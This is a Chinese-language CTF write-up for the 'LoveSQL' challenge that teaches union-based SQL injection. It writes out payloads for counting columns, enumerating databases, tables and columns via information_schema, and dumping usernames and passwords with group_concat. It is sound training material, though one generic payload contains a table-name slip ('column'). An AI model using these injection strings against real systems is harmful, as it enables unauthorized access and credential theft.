[极客大挑战 2019]LoveSQL 1
审题
又是一道SQL题,还和上面Easy_SQL是一个系列的题。
知识点
SQL注入之联合查询。
知识点详解
联合查询
基础讲解:
union联合查询定义是:可以使用UNION操作符,将多个查询结果,按行进行纵向合并。
基本语法
sql
SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>
我们常用到的SQL语句有:
- 查询字段
sql
1' order by X# //X替换为数字
- 查询注入点
sql
1' union select 1,2,3,···,X#
- 爆数据库,
sql
1' union select 1,2,database()#
- 爆表,只有一个数据库时
sql
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
有多个数据库时
sql
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
- 爆表的列
sql
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
- 读取内容
sql
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#
group_concat
其中,group_concat函数的作用是将查询到的每行结果合并成一行并以逗号隔开。
比如:
没使用group_concat时,用concat查询的情况如下
ID
USER
PASSWARD
使用了group_caoncat后的结果就如下
ID,USER,PASSWARD
information_schema
nformation_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。
所以我们将从information_schema数据库中找到表名和列名。
另外,联合查询还有有很多种查询方法,大家可以去自行查找。
参考博客:
解题
-
进行SQL注入测试。当输入1'时发现有报错回显,可以猜测有SQL注入。
-
使用基础的1' show databases# 无法得到库名,我们使用联合查询。
由上面的知识点详解的步骤开始解题
- 查询字段,从1一直尝试到4,发现输入1' order by 4# 时出现报错
- 猜测其有三个字段,查询注入点
sql
1' union select 1,2,3#
通过回显可以看出2,3都是注入点。
-
爆库名
sql1' union select 1,2,database()#
-
爆表名
sql1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
-
爆列名
sql1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
-
爆这个列名中的所有内容
sql1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
得到flag